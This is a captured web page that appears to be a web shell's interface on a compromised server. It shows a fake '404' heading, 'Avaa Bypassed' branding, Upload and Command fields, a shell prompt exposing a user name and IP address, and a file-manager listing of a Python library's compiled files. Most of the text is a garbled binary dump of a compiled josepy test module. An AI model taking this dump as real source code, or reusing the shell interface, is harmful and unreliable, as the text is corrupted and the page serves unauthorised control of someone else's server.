404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.22.71.246: ~ $
3

�}:a
�@s2dZddlZGdd�dej�Zedkr.ej�dS)zTests for josepy.interfaces.�Nc@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�JSONDeSerializableTestcs�ddlm}Gdd�d|��G�fdd�d|�}Gdd�d|�}�d	�|_�d
�|_||j|j�|_||j|j�|_�|jgg�|_�d�|_�|_||_	||_
dS)
Nr)�JSONDeSerializablec@s(eZdZdd�Zdd�Zedd��ZdS)z+JSONDeSerializableTest.setUp.<locals>.BasiccSs
||_dS)N)�v)�selfr�r�%/usr/lib/python3.6/interfaces_test.py�__init__sz4JSONDeSerializableTest.setUp.<locals>.Basic.__init__cSs|jS)N)r)rrrr�to_partial_jsonsz;JSONDeSerializableTest.setUp.<locals>.Basic.to_partial_jsoncSs||�S)Nr)�cls�jobjrrr�	from_jsonsz5JSONDeSerializableTest.setUp.<locals>.Basic.from_jsonN)�__name__�
__module__�__qualname__rr	�classmethodrrrrr�Basic
srcs,eZdZdd�Zdd�Ze�fdd��ZdS)z.JSONDeSerializableTest.setUp.<locals>.SequencecSs||_||_dS)N)�x�y)rrrrrrrsz7JSONDeSerializableTest.setUp.<locals>.Sequence.__init__cSs|j|jgS)N)rr)rrrrr	sz>JSONDeSerializableTest.setUp.<locals>.Sequence.to_partial_jsoncs|�j|d��j|d��S)Nr�)r)r
r)rrrr sz8JSONDeSerializableTest.setUp.<locals>.Sequence.from_jsonN)r
rrrr	rrr)rrr�Sequencesrc@s(eZdZdd�Zdd�Zedd��ZdS)z-JSONDeSerializableTest.setUp.<locals>.MappingcSs||_||_dS)N)rr)rrrrrrr&sz6JSONDeSerializableTest.setUp.<locals>.Mapping.__init__cSs|j|jiS)N)rr)rrrrr	*sz=JSONDeSerializableTest.setUp.<locals>.Mapping.to_partial_jsoncSsdS)Nr)r
rrrrr-sz7JSONDeSerializableTest.setUp.<locals>.Mapping.from_jsonN)r
rrrr	rrrrrr�Mapping%sr�foo1�foo2�foo)r)�josepy.interfacesr�basic1�basic2�seq�mapping�nested�tuplerrr)rrrrr)rr�setUps



zJSONDeSerializableTest.setUpcCs|j|jj�ddg�dS)Nrr)�assertEqualr�to_json)rrrr�test_to_json_sequence=sz,JSONDeSerializableTest.test_to_json_sequencecCs|j|jj�ddi�dS)Nrr)r"rr#)rrrr�test_to_json_mapping@sz+JSONDeSerializableTest.test_to_json_mappingcCs t�}|j|j|�j�|�dS)N)�object�assertIsrr#)rZ
mock_valuerrr�test_to_json_otherCsz)JSONDeSerializableTest.test_to_json_othercCs|j|jj�dgg�dS)Nr)r"rr#)rrrr�test_to_json_nestedGsz*JSONDeSerializableTest.test_to_json_nestedcCs|j|jj�d�dS)Nr)r)r"r r#)rrrr�test_to_jsonJsz#JSONDeSerializableTest.test_to_jsoncCs ddlm}|jt|jd�dS)Nr)rZxxx)rr�assertRaises�	TypeErrorr)rrrrr�test_from_json_not_implementedMsz5JSONDeSerializableTest.test_from_json_not_implementedcCs^|jjd�}|j||j�|j|j|j�|j|j|j�|j|jjd�|j|jjd�dS)Nz["foo1", "foo2"]rr)rZ
json_loadsZassertIsInstancerrrr"r)rrrrr�test_json_loadsQsz&JSONDeSerializableTest.test_json_loadscCs|jd|jj��dS)Nz["foo1", "foo2"])r"rZ
json_dumps)rrrr�test_json_dumpsYsz&JSONDeSerializableTest.test_json_dumpscCs|j|jj�d�dS)Nz[
    "foo1",
    "foo2"
])r"rZjson_dumps_pretty)rrrr�test_json_dumps_pretty\sz-JSONDeSerializableTest.test_json_dumps_prettycCsdddlm}|jd|j|j��|j|j�}|jt|�d�|j|d|j�|j|d|j�dS)Nr)rr�r)	rrr"�json_dump_defaultrr�lenr'r)rrrrrr�test_json_dump_default`sz-JSONDeSerializableTest.test_json_dump_defaultcCs"ddlm}|jt|jt��dS)Nr)r)rrr+r,r2r&)rrrrr�!test_json_dump_default_type_errorksz8JSONDeSerializableTest.test_json_dump_default_type_errorN)r
rrr!r$r%r(r)r*r-r.r/r0r4r5rrrrrs5r�__main__)�__doc__ZunittestZTestCaserr
�mainrrrr�<module>sl

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 1.95 KB 0644
__init__.cpython-36.pyc File 1.95 KB 0644
b64.cpython-36.opt-1.pyc File 1.56 KB 0644
b64.cpython-36.pyc File 1.56 KB 0644
b64_test.cpython-36.opt-1.pyc File 3.47 KB 0644
b64_test.cpython-36.pyc File 3.47 KB 0644
errors.cpython-36.opt-1.pyc File 1.55 KB 0644
errors.cpython-36.pyc File 1.55 KB 0644
errors_test.cpython-36.opt-1.pyc File 854 B 0644
errors_test.cpython-36.pyc File 854 B 0644
interfaces.cpython-36.opt-1.pyc File 7.93 KB 0644
interfaces.cpython-36.pyc File 7.93 KB 0644
interfaces_test.cpython-36.opt-1.pyc File 5.38 KB 0644
interfaces_test.cpython-36.pyc File 5.38 KB 0644
json_util.cpython-36.opt-1.pyc File 14.93 KB 0644
json_util.cpython-36.pyc File 14.93 KB 0644
json_util_test.cpython-36.opt-1.pyc File 17.19 KB 0644
json_util_test.cpython-36.pyc File 17.19 KB 0644
jwa.cpython-36.opt-1.pyc File 7.73 KB 0644
jwa.cpython-36.pyc File 7.73 KB 0644
jwa_test.cpython-36.opt-1.pyc File 9.67 KB 0644
jwa_test.cpython-36.pyc File 9.67 KB 0644
jwk.cpython-36.opt-1.pyc File 11.66 KB 0644
jwk.cpython-36.pyc File 11.66 KB 0644
jwk_test.cpython-36.opt-1.pyc File 12.73 KB 0644
jwk_test.cpython-36.pyc File 12.73 KB 0644
jws.cpython-36.opt-1.pyc File 12.1 KB 0644
jws.cpython-36.pyc File 12.49 KB 0644
jws_test.cpython-36.opt-1.pyc File 9.4 KB 0644
jws_test.cpython-36.pyc File 9.4 KB 0644
magic_typing.cpython-36.opt-1.pyc File 775 B 0644
magic_typing.cpython-36.pyc File 775 B 0644
magic_typing_test.cpython-36.opt-1.pyc File 1.07 KB 0644
magic_typing_test.cpython-36.pyc File 1.07 KB 0644
test_util.cpython-36.opt-1.pyc File 2.77 KB 0644
test_util.cpython-36.pyc File 2.77 KB 0644
util.cpython-36.opt-1.pyc File 9.76 KB 0644
util.cpython-36.pyc File 9.84 KB 0644
util_test.cpython-36.opt-1.pyc File 11.62 KB 0644
util_test.cpython-36.pyc File 11.62 KB 0644